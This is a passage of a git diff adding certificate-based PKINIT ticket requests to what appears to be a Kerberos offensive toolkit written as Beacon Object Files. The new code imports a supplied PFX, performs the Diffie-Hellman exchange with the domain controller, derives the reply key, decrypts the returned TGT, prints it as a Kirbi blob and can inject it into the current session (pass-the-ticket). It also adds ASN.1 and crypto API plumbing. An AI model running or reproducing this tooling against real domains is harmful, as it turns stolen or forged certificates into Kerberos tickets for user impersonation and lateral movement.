(!*integerBytes) + return TRUE; + MemCpy(*integerBytes, rawBytes + offset, *integerSize); + return FALSE; +} + +BOOL ExtractKdcDhPublicKey(RAW_DATA* pkAsRepData, byte** kdcPublicKey, DWORD* kdcPublicKeySize, byte** serverDhNonce, DWORD* serverDhNonceSize) { + // Parse PA-PK-AS-REP dhSignedData, unwrap KDC-DHKeyInfo, and extract the + // KDC's public DH integer plus the optional serverDHNonce. + AsnElt pkAsRep = { 0 }; + if (BytesToAsnDecode(pkAsRepData->data, pkAsRepData->size, &pkAsRep)) + return TRUE; + + AsnElt* dhInfo = &pkAsRep; + if (dhInfo->tagClass == ASN_CONTEXT && dhInfo->tagValue == 0 && dhInfo->subCount == 1) + dhInfo = &(dhInfo->sub[0]); + + byte* dhSignedData = NULL; + int dhSignedDataSize = 0; + BOOL found = FALSE; + if (serverDhNonce) + *serverDhNonce = NULL; + if (serverDhNonceSize) + *serverDhNonceSize = 0; + + for (int i = 0; i < dhInfo->subCount; i++) { + if (dhInfo->sub[i].tagValue == 0) { + AsnElt* value = dhInfo->sub[i].subCount ? &(dhInfo->sub[i].sub[0]) : &(dhInfo->sub[i]); + if (AsnGetOctetString(value, &dhSignedData, &dhSignedDataSize)) + return TRUE; + found = TRUE; + } + else if (dhInfo->sub[i].tagValue == 1 && serverDhNonce && serverDhNonceSize) { + AsnElt* value = dhInfo->sub[i].subCount ? &(dhInfo->sub[i].sub[0]) : &(dhInfo->sub[i]); + if (AsnGetOctetString(value, serverDhNonce, (int*)serverDhNonceSize)) + return TRUE; + } + } + + if (!found) + return TRUE; + + byte* kdcDhKeyInfo = NULL; + DWORD kdcDhKeyInfoSize = 0; + if (CmsDecodeContent(dhSignedData, dhSignedDataSize, &kdcDhKeyInfo, &kdcDhKeyInfoSize)) + return TRUE; + + AsnElt dhKeyInfoAsn = { 0 }; + if (BytesToAsnDecode(kdcDhKeyInfo, kdcDhKeyInfoSize, &dhKeyInfoAsn)) + return TRUE; + if (dhKeyInfoAsn.tagValue != ASN_SEQUENCE) + return TRUE; + + AsnElt* subjectPublicKeyNode = NULL; + for (int i = 0; i < dhKeyInfoAsn.subCount; i++) { + if (dhKeyInfoAsn.sub[i].tagValue == 0) { + subjectPublicKeyNode = &(dhKeyInfoAsn.sub[i]); + break; + } + } + if (!subjectPublicKeyNode) + return TRUE; + + AsnElt* bitStringNode = subjectPublicKeyNode->subCount ? &(subjectPublicKeyNode->sub[0]) : subjectPublicKeyNode; + int bitStringSize = ValueLength(bitStringNode); + byte* bitStringBytes = MemAlloc(bitStringSize); + if (!bitStringBytes) + return TRUE; + EncodeValue(bitStringNode, 0, bitStringSize, bitStringBytes, 0); + if (bitStringSize < 2) + return TRUE; + + AsnElt publicKeyInteger = { 0 }; + if (BytesToAsnDecode(bitStringBytes + 1, bitStringSize - 1, &publicKeyInteger)) + return TRUE; + if (publicKeyInteger.tagValue != ASN_INTEGER) + return TRUE; + + return ExtractAsnIntegerBytes(&publicKeyInteger, kdcPublicKey, kdcPublicKeySize); +} + +BOOL DerivePkinitReplyKey(BCRYPT_ALG_HANDLE dhAlgorithm, BCRYPT_KEY_HANDLE dhKey, byte* kdcPublicKey, DWORD kdcPublicKeySize, byte* clientDhNonce, DWORD clientDhNonceSize, byte* serverDhNonce, DWORD serverDhNonceSize, int asRepEtype, EncryptionKey* replyKey) { + if (asRepEtype != aes256_cts_hmac_sha1 && asRepEtype != aes128_cts_hmac_sha1) { + PRINT_OUT("[X] /certificate currently supports AES128/AES256 AS-REP keys only.\n"); + return TRUE; + } + + byte* modulus = NULL; + byte* generator = NULL; + byte* publicValue = NULL; + if (HexStringToFixedBytes(DH_GROUP14_P_HEX, 256, &modulus)) + return TRUE; + if (HexStringToFixedBytes("02", 256, &generator)) + return TRUE; + if (kdcPublicKeySize > 256) + return TRUE; + + // CNG imports DH public blobs as fixed-width { p, g, publicValue } fields. + // Left-pad the KDC's DER integer to the 256-byte Group 14 modulus size. + publicValue = MemAlloc(256); + if (!publicValue) + return TRUE; + for (int i = 0; i < 256; i++) + publicValue[i] = 0; + MemCpy(publicValue + (256 - kdcPublicKeySize), kdcPublicKey, kdcPublicKeySize); + + DWORD publicBlobSize = sizeof(BCRYPT_DH_KEY_BLOB) + 768; + byte* publicBlob = MemAlloc(publicBlobSize); + if (!publicBlob) + return TRUE; + + BCRYPT_DH_KEY_BLOB* publicBlobHeader = (BCRYPT_DH_KEY_BLOB*)publicBlob; + publicBlobHeader->dwMagic = BCRYPT_DH_PUBLIC_MAGIC; + publicBlobHeader->cbKey = 256; + MemCpy(publicBlob + sizeof(BCRYPT_DH_KEY_BLOB), modulus, 256); + MemCpy(publicBlob + sizeof(BCRYPT_DH_KEY_BLOB) + 256, generator, 256); + MemCpy(publicBlob + sizeof(BCRYPT_DH_KEY_BLOB) + 512, publicValue, 256); + + BCRYPT_KEY_HANDLE kdcKey = 0; + if (BCrypt$ImportKeyPair(dhAlgorithm, 0, BCRYPT_DH_PUBLIC_BLOB, &kdcKey, publicBlob, publicBlobSize, 0) != 0) + return TRUE; + + BCRYPT_SECRET_HANDLE sharedSecret = 0; + if (BCrypt$SecretAgreement(dhKey, kdcKey, &sharedSecret, 0) != 0) + return TRUE; + + ULONG sharedSecretSize = 0; + if (BCrypt$DeriveKey(sharedSecret, BCRYPT_KDF_RAW_SECRET, NULL, NULL, 0, &sharedSecretSize, 0) != 0) + return TRUE; + + byte* sharedSecretBytes = MemAlloc(sharedSecretSize); + if (!sharedSecretBytes) + return TRUE; + if (BCrypt$DeriveKey(sharedSecret, BCRYPT_KDF_RAW_SECRET, NULL, sharedSecretBytes, sharedSecretSize, &sharedSecretSize, 0) != 0) + return TRUE; + + // BCrypt returns the raw secret little-endian for this path. PKINIT's reply + // key KDF expects the DH shared secret in network byte order. + ReverseBytes(sharedSecretBytes, sharedSecretSize); + + DWORD kdfInputSize = sharedSecretSize + clientDhNonceSize + serverDhNonceSize; + byte* kdfInput = MemAlloc(kdfInputSize); + if (!kdfInput) + return TRUE; + MemCpy(kdfInput, sharedSecretBytes, sharedSecretSize); + if (clientDhNonce && clientDhNonceSize) + MemCpy(kdfInput + sharedSecretSize, clientDhNonce, clientDhNonceSize); + if (serverDhNonce && serverDhNonceSize) + MemCpy(kdfInput + sharedSecretSize + clientDhNonceSize, serverDhNonce, serverDhNonceSize); + + DWORD replyKeyLength = (asRepEtype == aes256_cts_hmac_sha1) ? 32 : 16; + byte* kdfMaterial = MemAlloc(40); + if (!kdfMaterial) + return TRUE; + + // PKINIT reply-key material is SHA1(counter || sharedSecret || nonces). + // Two SHA1 blocks are enough for AES256; AES128 takes the first 16 bytes. + for (DWORD counter = 0; counter < 2; counter++) { + byte* hashInput = MemAlloc(kdfInputSize + 1); + byte hashOutput[20] = { 0 }; + if (!hashInput) + return TRUE; + hashInput[0] = (byte)counter; + MemCpy(hashInput + 1, kdfInput, kdfInputSize); + if (Sha1Buffer(hashInput, kdfInputSize + 1, hashOutput)) + return TRUE; + MemCpy(kdfMaterial + (counter * 20), hashOutput, 20); + } + + replyKey->key_type = asRepEtype; + replyKey->key_size = replyKeyLength; + replyKey->key_value = MemAlloc(replyKeyLength); + if (!replyKey->key_value) + return TRUE; + MemCpy(replyKey->key_value, kdfMaterial, replyKeyLength); + + BCrypt$DestroySecret(sharedSecret); + BCrypt$DestroyKey(kdcKey); + return FALSE; +} + +RAW_DATA* FindRawPaData(AS_REP* asRep, DWORD type) { + for (int i = 0; i < asRep->pa_data_count; i++) { + if (asRep->pa_data[i].type == type) + return (RAW_DATA*)asRep->pa_data[i].value; + } + return NULL; +} + +BOOL NewAS_REQ_cert(char* pcUsername, char* pcDomain, BOOL bPac, AS_REQ* as_req) { + // Certificate PKINIT negotiates AES reply keys; RC4 is intentionally omitted. + as_req->pvno = 5; + as_req->msg_type = KERB_AS_REQ; + + as_req->req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK | CANONICALIZE; + as_req->req_body.till = 1 * 3600; + as_req->req_body.rtime = 1 * 3600; + ADVAPI32$SystemFunction036(&(as_req->req_body.nonce), 4); + if (my_copybuf(&as_req->req_body.realm, pcDomain, my_strlen(pcDomain) + 1)) + return TRUE; + + as_req->req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL; + as_req->req_body.cname.name_count = 1; + as_req->req_body.cname.name_string = MemAlloc(sizeof(void*) * as_req->req_body.cname.name_count); + if (!as_req->req_body.cname.name_string) + return TRUE; + if (my_copybuf(&(as_req->req_body.cname.name_string[0]), pcUsername, my_strlen(pcUsername) + 1)) + return TRUE; + + as_req->req_body.sname.name_count = 2; + as_req->req_body.sname.name_string = MemAlloc(sizeof(void*) * as_req->req_body.sname.name_count); + if (!as_req->req_body.sname.name_string) + return TRUE; + as_req->req_body.sname.name_type = PRINCIPAL_NT_SRV_INST; + if (my_copybuf(&(as_req->req_body.sname.name_string[0]), "krbtgt", 7)) + return TRUE; + if (my_copybuf(&(as_req->req_body.sname.name_string[1]), pcDomain, my_strlen(pcDomain) + 1)) + return TRUE; + + as_req->req_body.etypes_count = 2; + as_req->req_body.etypes = MemAlloc(sizeof(int) * as_req->req_body.etypes_count); + if (!as_req->req_body.etypes) + return TRUE; + as_req->req_body.etypes[0] = aes256_cts_hmac_sha1; + as_req->req_body.etypes[1] = aes128_cts_hmac_sha1; + + as_req->pa_data_count = 2; + as_req->pa_data = MemAlloc(sizeof(PA_DATA) * as_req->pa_data_count); + if (!as_req->pa_data) + return TRUE; + + as_req->pa_data[1].type = PADATA_PA_PAC_REQUEST; + as_req->pa_data[1].value = MemAlloc(sizeof(KERB_PA_PAC_REQUEST)); + if (!as_req->pa_data[1].value) + return TRUE; + ((KERB_PA_PAC_REQUEST*)as_req->pa_data[1].value)->include_pac = bPac; + + return FALSE; +} + +BOOL AskTGT_cert(char* user, char* domain, char* certificate, char* certificatePassword, BOOL pac, BOOL show, BOOL nowrap, BOOL ptt, char* dc, byte** kirbiBytes) { + // High-level PKINIT flow: + // 1. Import the supplied PFX and find its private key. + // 2. Generate an ephemeral DH key pair and signed AuthPack. + // 3. Send PA-PK-AS-REQ, parse PA-PK-AS-REP, derive the reply key. + // 4. Decrypt the AS-REP and optionally submit the resulting TGT. + int certBlobSize = 0; + byte* certBlob = base64_decode((byte*)certificate, &certBlobSize); + if (!certBlob || certBlobSize == 0) { + PRINT_OUT("[X] Failed to decode /certificate data.\n"); + return TRUE; + } + + int passwordChars = 0; + WCHAR* passwordWide = CharToWide(certificatePassword, &passwordChars); + + CRYPT_DATA_BLOB pfx = { 0 }; + pfx.cbData = certBlobSize; + pfx.pbData = certBlob; + + HCERTSTORE certStore = CRYPT32$PFXImportCertStore(&pfx, passwordWide, CRYPT_USER_KEYSET | CRYPT_EXPORTABLE); + if (!certStore && !certificatePassword) { + WCHAR emptyPassword[] = { 0 }; + certStore = CRYPT32$PFXImportCertStore(&pfx, emptyPassword, CRYPT_USER_KEYSET | CRYPT_EXPORTABLE); + } + if (!certStore) { + PRINT_OUT("[X] Failed to import the supplied certificate.\n"); + return TRUE; + } + + PCCERT_CONTEXT certContext = NULL; + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE certProvider = 0; + DWORD keySpec = 0; + BOOL callerFreeProvider = FALSE; + while ((certContext = CRYPT32$CertEnumCertificatesInStore(certStore, certContext)) != NULL) { + if (CRYPT32$CryptAcquireCertificatePrivateKey(certContext, CRYPT_ACQUIRE_SILENT_FLAG, NULL, &certProvider, &keySpec, &callerFreeProvider)) + break; + } + + if (!certContext) { + PRINT_OUT("[X] The supplied certificate does not contain an accessible private key.\n"); + return TRUE; + } + if (keySpec == CERT_NCRYPT_KEY_SPEC) { + PRINT_OUT("[X] /certificate currently requires a CryptoAPI-backed PFX key.\n"); + return TRUE; + } + + BCRYPT_ALG_HANDLE dhAlgorithm = 0; + BCRYPT_KEY_HANDLE dhKey = 0; + if (GenerateDhKeyPair(&dhAlgorithm, &dhKey)) { + PRINT_OUT("[X] Failed to generate the PKINIT DH key pair.\n"); + return TRUE; + } + + AS_REQ certAsReq = { 0 }; + if (NewAS_REQ_cert(user, domain, pac, &certAsReq)) { + PRINT_OUT("[X] Failed to build the PKINIT AS-REQ.\n"); + return TRUE; + } + + DWORD pkNonce = 0; + ADVAPI32$SystemFunction036(&pkNonce, sizeof(pkNonce)); + + byte* authPackBytes = NULL; + DWORD authPackSize = 0; + if (BuildAuthPack(&(certAsReq.req_body), dhKey, pkNonce, &authPackBytes, &authPackSize)) { + PRINT_OUT("[X] Failed to build the PKINIT AuthPack.\n"); + return TRUE; + } + + byte* signedCmsBytes = NULL; + DWORD signedCmsSize = 0; + if (SignAuthPack(certContext, certProvider, keySpec, certStore, authPackBytes, authPackSize, &signedCmsBytes, &signedCmsSize)) { + PRINT_OUT("[X] Failed to sign the PKINIT AuthPack.\n"); + return TRUE; + } + + byte* paPkAsReqBytes = NULL; + DWORD paPkAsReqSize = 0; + if (BuildPaPkAsReqBlob(signedCmsBytes, signedCmsSize, &paPkAsReqBytes, &paPkAsReqSize)) { + PRINT_OUT("[X] Failed to wrap PA-PK-AS-REQ.\n"); + return TRUE; + } + + certAsReq.pa_data[0].type = PADATA_PK_AS_REQ; + certAsReq.pa_data[0].value = MemAlloc(sizeof(RAW_DATA)); + if (!certAsReq.pa_data[0].value) + return TRUE; + ((RAW_DATA*)certAsReq.pa_data[0].value)->size = paPkAsReqSize; + ((RAW_DATA*)certAsReq.pa_data[0].value)->data = paPkAsReqBytes; + + PRINT_OUT("[*] Building AS-REQ (PKINIT) for: '%s\\%s'\n", domain, user); + + AsnElt requestAsn = { 0 }; + if (ReqToAsnEncode(certAsReq, 10, &requestAsn)) { + PRINT_OUT("[X] Failed to ASN.1 encode the PKINIT AS-REQ.\n"); + return TRUE; + } + + int requestBytesSize = 0; + byte* requestBytes = NULL; + if (AsnToBytesEncode(&requestAsn, &requestBytesSize, &requestBytes)) { + PRINT_OUT("[X] Failed to serialize the PKINIT AS-REQ.\n"); + return TRUE; + } + + byte* response = NULL; + int responseSize = 0; + sendBytes(dc ? dc : domain, "88", requestBytes, requestBytesSize, &response, &responseSize); + if (responseSize == 0) { + PRINT_OUT("[X] The KDC did not return a PKINIT response.\n"); + return TRUE; + } + + AsnElt responseAsn = { 0 }; + if (BytesToAsnDecode(response, responseSize, &responseAsn)) { + PRINT_OUT("[X] Failed to parse the PKINIT response.\n"); + return TRUE; + } + if (responseAsn.tagValue == KERB_ERROR) { + uint errorCode = 0; + if (!AsnGetErrorCode(&(responseAsn.sub[0]), &errorCode)) + PRINT_OUT("[X] PKINIT failed: %s\n", lookupKrbErrorCode(errorCode)); + return TRUE; + } + if (responseAsn.tagValue != KERB_AS_REP) { + PRINT_OUT("[X] Unexpected PKINIT response tag: %d\n", responseAsn.tagValue); + return TRUE; + } + + AS_REP asRep = { 0 }; + if (NewAS_REP(responseAsn, &asRep)) { + PRINT_OUT("[X] Failed to parse the AS-REP returned by the KDC.\n"); + return TRUE; + } + + RAW_DATA* pkAsRepData = FindRawPaData(&asRep, PADATA_PK_AS_REP); + if (!pkAsRepData) { + PRINT_OUT("[X] The KDC did not return PA-PK-AS-REP data.\n"); + return TRUE; + } + + byte* kdcPublicKey = NULL; + DWORD kdcPublicKeySize = 0; + byte* serverDhNonce = NULL; + DWORD serverDhNonceSize = 0; + if (ExtractKdcDhPublicKey(pkAsRepData, &kdcPublicKey, &kdcPublicKeySize, &serverDhNonce, &serverDhNonceSize)) { + PRINT_OUT("[X] Failed to extract the KDC DH public key from PA-PK-AS-REP.\n"); + return TRUE; + } + + EncryptionKey replyKey = { 0 }; + if (DerivePkinitReplyKey(dhAlgorithm, dhKey, kdcPublicKey, kdcPublicKeySize, NULL, 0, serverDhNonce, serverDhNonceSize, asRep.enc_part.etype, &replyKey)) { + PRINT_OUT("[X] Failed to derive the PKINIT reply key.\n"); + return TRUE; + } + + if (HandleASREP(responseAsn, replyKey, NULL, FALSE, dc ? dc : domain, kirbiBytes)) { + PRINT_OUT("[X] Failed to decrypt the AS-REP using the derived PKINIT reply key.\n"); + return TRUE; + } + + PRINT_OUT("[+] TGT request successful!\n"); + PrintKirbiOutput(*kirbiBytes, show, nowrap); + + if (callerFreeProvider && certProvider) + ADVAPI32$CryptReleaseContext((HCRYPTPROV)certProvider, 0); + if (dhKey) + BCrypt$DestroyKey(dhKey); + if (dhAlgorithm) + BCrypt$CloseAlgorithmProvider(dhAlgorithm, 0); + CRYPT32$CertCloseStore(certStore, 0); + + if (ptt) + PTT(NULL, *kirbiBytes); + + return FALSE; +} diff --git a/_include/asn_decode.c b/_include/asn_decode.c index 6a02b62..3a6e451 100644 --- a/_include/asn_decode.c +++ b/_include/asn_decode.c @@ -902,8 +902,10 @@ bool AsnGetPaData(AsnElt* body, PA_DATA* padata) { // value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); break; case PADATA_PK_AS_REP: - PRINT_OUT("--- AsnGetPaData --- case PADATA_PK_AS_REP"); - // value = new PA_PK_AS_REP(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); + padata->value = MemAlloc(sizeof(RAW_DATA)); + if (!padata->value) return true; + ((RAW_DATA*)padata->value)->size = valueBytesLength; + ((RAW_DATA*)padata->value)->data = valueBytes; break; case PADATA_PA_S4U_X509_USER: break; diff --git a/_include/asn_encode.c b/_include/asn_encode.c index aa151fd..c44196b 100644 --- a/_include/asn_encode.c +++ b/_include/asn_encode.c @@ -156,7 +156,12 @@ bool EncodeUTF32(const wchar_t* str, int* len, byte** ms) { bool MakePrimitiveInner(int tagClass, int tagValue, byte* val, int off, int len, AsnElt* a) { a->objBufSize = len; - if (my_copybuf(&(a->objBuf), val + off, len)) return true; + if (len > 0) { + if (my_copybuf(&(a->objBuf), val + off, len)) return true; + } + else { + a->objBuf = NULL; + } a->objOff = 0; a->objLen = -1; @@ -941,14 +946,15 @@ bool AsnPaDataEncode(PA_DATA padata, AsnElt* seq) { if (Make3(ASN_SEQUENCE, allSeq, 2, seq)) return true; } else if (padata.type == PADATA_PK_AS_REQ) { - PRINT_OUT("--- AsnPaDataEncode --- PADATA_PK_AS_REQ\n"); - // AsnElt blob = AsnElt.MakeBlob(((PA_PK_AS_REQ)value).Encode().Encode()); - // AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[]{ blob }); + RAW_DATA* raw = (RAW_DATA*)padata.value; + if (!raw || !raw->data || raw->size <= 0) + return true; - // paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + AsnElt paDataElt = { 0 }; + if (PackBlock(2, raw->data, raw->size, &paDataElt)) return true; - // AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[]{ nameTypeSeq, paDataElt }); - // return seq; + AsnElt allSeq[] = { nameTypeSeqContext, paDataElt }; + if (Make3(ASN_SEQUENCE, allSeq, 2, seq)) return true; } else if (padata.type == PADATA_KEY_LIST_REQ) { AsnElt encData = { 0 }; diff --git a/_include/functions.c b/_include/functions.c index 498e9cd..d6e839a 100755 --- a/_include/functions.c +++ b/_include/functions.c @@ -98,6 +98,8 @@ DECLSPEC_IMPORT int WSAAPI WS2_32$WSAStartup(WORD wVersionRequested, LPWSADATA l WINBASEAPI int __cdecl MSVCRT$sprintf(char* __stream, const char* __format, ...); WINBASEAPI int __cdecl MSVCRT$vsnprintf(char* d, size_t n, const char* format, va_list arg); WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict _Dst, const void* __restrict _Src, size_t _MaxCount); +WINBASEAPI void* __cdecl MSVCRT$memset(void* __restrict _Dst, int _Val, size_t _MaxCount); +extern void* __cdecl memset(void* __restrict _Dst, int _Val, size_t _MaxCount) __asm__("MSVCRT$memset"); WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); @@ -120,9 +122,18 @@ typedef WINADVAPI BOOL (__stdcall* _SystemFunction036)(_Out_writes_bytes_(Random typedef WINADVAPI BOOL (WINAPI* _GetTokenInformation)(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); typedef WINADVAPI BOOL (WINAPI* _OpenThreadToken)(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle); typedef WINADVAPI BOOL (WINAPI* _OpenProcessToken)(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); +typedef WINADVAPI BOOL (WINAPI* _AdjustTokenPrivileges)(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength); +typedef WINADVAPI BOOL (WINAPI* _LookupPrivilegeValueA)(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid); +typedef WINADVAPI BOOL (WINAPI* _CryptAcquireContextA)(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags); typedef WINADVAPI BOOL (WINAPI* _AllocateAndInitializeSid)(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD nSubAuthority0, DWORD nSubAuthority1, DWORD nSubAuthority2, DWORD nSubAuthority3, DWORD nSubAuthority4, DWORD nSubAuthority5, DWORD nSubAuthority6, DWORD nSubAuthority7, PSID* pSid); typedef WINADVAPI BOOL (WINAPI* _EqualSid)(PSID pSid1, PSID pSid2); typedef WINADVAPI PVOID (WINAPI* _FreeSid)(PSID pSid); +typedef WINADVAPI BOOL (WINAPI* _CryptCreateHash)(HCRYPTPROV hProv, ALG_ID Algid, HCRYPTKEY hKey, DWORD dwFlags, HCRYPTHASH* phHash); +typedef WINADVAPI BOOL (WINAPI* _CryptHashData)(HCRYPTHASH hHash, const BYTE* pbData, DWORD dwDataLen, DWORD dwFlags); +typedef WINADVAPI BOOL (WINAPI* _CryptGetHashParam)(HCRYPTHASH hHash, DWORD dwParam, BYTE* pbData, DWORD* pdwDataLen, DWORD dwFlags); +typedef WINADVAPI BOOL (WINAPI* _CryptDestroyHash)(HCRYPTHASH hHash); +typedef WINADVAPI BOOL (WINAPI* _CryptGetProvParam)(HCRYPTPROV hProv, DWORD dwParam, BYTE* pbData, DWORD* pdwDataLen, DWORD dwFlags); +typedef WINADVAPI BOOL (WINAPI* _CryptReleaseContext)(HCRYPTPROV hProv, DWORD dwFlags); typedef WINBASEAPI NTSTATUS (WINAPI* _LsaConnectUntrusted)(PHANDLE LsaHandle); typedef WINBASEAPI NTSTATUS (WINAPI* _LsaRegisterLogonProcess)(PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode); @@ -132,10 +143,33 @@ typedef WINBASEAPI NTSTATUS (NTAPI* _LsaFreeReturnBuffer)(PVOID Buffer); typedef WINBASEAPI NTSTATUS (WINAPI* _LsaCallAuthenticationPackage)(HANDLE LsaHandle, ULONG AuthenticationPackage, PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength, PVOID* ProtocolReturnBuffer, PULONG ReturnBufferLength, PNTSTATUS ProtocolStatus); typedef WINBASEAPI NTSTATUS (NTAPI* _LsaDeregisterLogonProcess)(HANDLE LsaHandle); typedef WINBASEAPI NTSTATUS (WINAPI* _LsaLookupAuthenticationPackage)(HANDLE LsaHandle, PLSA_STRING PackageName, PULONG AuthenticationPackage); +typedef WINBASEAPI NTSTATUS (WINAPI* _LsaLogonUser)(HANDLE LsaHandle, PLSA_STRING OriginName, SECURITY_LOGON_TYPE LogonType, ULONG AuthenticationPackage, PVOID AuthenticationInformation, ULONG AuthenticationInformationLength, PTOKEN_GROUPS LocalGroups, PTOKEN_SOURCE SourceContext, PVOID* ProfileBuffer, PULONG ProfileBufferLength, PLUID LogonId, PHANDLE Token, PQUOTA_LIMITS Quotas, PNTSTATUS SubStatus); typedef WINBASEAPI DWORD (WINAPI * _InitializeSecurityContextA)(PCredHandle, PCtxtHandle, SEC_CHAR*, unsigned long, unsigned long, unsigned long, PSecBufferDesc, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long*, PTimeStamp); typedef WINBASEAPI SECURITY_STATUS (WINAPI* _DeleteSecurityContext)(PCtxtHandle phContext); typedef WINBASEAPI SECURITY_STATUS (WINAPI* _FreeCredentialsHandle)(PCredHandle phCredential); typedef WINBASEAPI SECURITY_STATUS (WINAPI* _AcquireCredentialsHandleA)(SEC_CHAR* pszPrincipal, SEC_CHAR* pszPackage, unsigned int fCredentialUse, void* pvLogonId, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry); +typedef HCERTSTORE (WINAPI* _PFXImportCertStore)(CRYPT_DATA_BLOB* pPFX, LPCWSTR szPassword, DWORD dwFlags); +typedef PCCERT_CONTEXT (WINAPI* _CertEnumCertificatesInStore)(HCERTSTORE hCertStore, PCCERT_CONTEXT pPrevCertContext); +typedef BOOL (WINAPI* _CertFreeCertificateContext)(PCCERT_CONTEXT pCertContext); +typedef BOOL (WINAPI* _CertCloseStore)(HCERTSTORE hCertStore, DWORD dwFlags); +typedef BOOL (WINAPI* _CryptAcquireCertificatePrivateKey)(PCCERT_CONTEXT pCert, DWORD dwFlags, void* pvParameters, HCRYPTPROV_OR_NCRYPT_KEY_HANDLE* phCryptProvOrNCryptKey, DWORD* pdwKeySpec, BOOL* pfCallerFreeProvOrNCryptKey); +typedef HCRYPTMSG (WINAPI* _CryptMsgOpenToEncode)(DWORD dwMsgEncodingType, DWORD dwFlags, DWORD dwMsgType, const void* pvMsgEncodeInfo, LPSTR pszInnerContentObjID, PCMSG_STREAM_INFO pStreamInfo); +typedef HCRYPTMSG (WINAPI* _CryptMsgOpenToDecode)(DWORD dwMsgEncodingType, DWORD dwFlags, DWORD dwMsgType, HCRYPTPROV_LEGACY hCryptProv, PCERT_INFO pRecipientInfo, PCMSG_STREAM_INFO pStreamInfo); +typedef BOOL (WINAPI* _CryptMsgUpdate)(HCRYPTMSG hCryptMsg, const BYTE* pbData, DWORD cbData, BOOL fFinal); +typedef BOOL (WINAPI* _CryptMsgGetParam)(HCRYPTMSG hCryptMsg, DWORD dwParamType, DWORD dwIndex, void* pvData, DWORD* pcbData); +typedef BOOL (WINAPI* _CryptMsgClose)(HCRYPTMSG hCryptMsg); + +typedef NTSTATUS (WINAPI* _BCryptOpenAlgorithmProvider)(BCRYPT_ALG_HANDLE* phAlgorithm, LPCWSTR pszAlgId, LPCWSTR pszImplementation, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptCloseAlgorithmProvider)(BCRYPT_ALG_HANDLE hAlgorithm, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptGenerateKeyPair)(BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_KEY_HANDLE* phKey, ULONG dwLength, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptSetProperty)(BCRYPT_HANDLE hObject, LPCWSTR pszProperty, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptFinalizeKeyPair)(BCRYPT_KEY_HANDLE hKey, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptExportKey)(BCRYPT_KEY_HANDLE hKey, BCRYPT_KEY_HANDLE hExportKey, LPCWSTR pszBlobType, PUCHAR pbOutput, ULONG cbOutput, ULONG* pcbResult, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptImportKeyPair)(BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_KEY_HANDLE hImportKey, LPCWSTR pszBlobType, BCRYPT_KEY_HANDLE* phKey, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptDestroyKey)(BCRYPT_KEY_HANDLE hKey); +typedef NTSTATUS (WINAPI* _BCryptSecretAgreement)(BCRYPT_KEY_HANDLE hPrivKey, BCRYPT_KEY_HANDLE hPubKey, BCRYPT_SECRET_HANDLE* phAgreedSecret, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptDeriveKey)(BCRYPT_SECRET_HANDLE hSharedSecret, LPCWSTR pwszKDF, BCryptBufferDesc* pParameterList, PUCHAR pbDerivedKey, ULONG cbDerivedKey, ULONG* pcbResult, ULONG dwFlags); +typedef NTSTATUS (WINAPI* _BCryptDestroySecret)(BCRYPT_SECRET_HANDLE hSecret); #define OutBlockSize 8192 @@ -151,9 +185,18 @@ _SystemFunction036 ADVAPI32$SystemFunction036 __attribute__((secti _GetTokenInformation ADVAPI32$GetTokenInformation __attribute__((section(".data"))) = 0; _OpenThreadToken ADVAPI32$OpenThreadToken __attribute__((section(".data"))) = 0; _OpenProcessToken ADVAPI32$OpenProcessToken __attribute__((section(".data"))) = 0; +_AdjustTokenPrivileges ADVAPI32$AdjustTokenPrivileges __attribute__((section(".data"))) = 0; +_LookupPrivilegeValueA ADVAPI32$LookupPrivilegeValueA __attribute__((section(".data"))) = 0; +_CryptAcquireContextA ADVAPI32$CryptAcquireContextA __attribute__((section(".data"))) = 0; _AllocateAndInitializeSid ADVAPI32$AllocateAndInitializeSid __attribute__((section(".data"))) = 0; _EqualSid ADVAPI32$EqualSid __attribute__((section(".data"))) = 0; _FreeSid ADVAPI32$FreeSid __attribute__((section(".data"))) = 0; +_CryptCreateHash ADVAPI32$CryptCreateHash __attribute__((section(".data"))) = 0; +_CryptHashData ADVAPI32$CryptHashData __attribute__((section(".data"))) = 0; 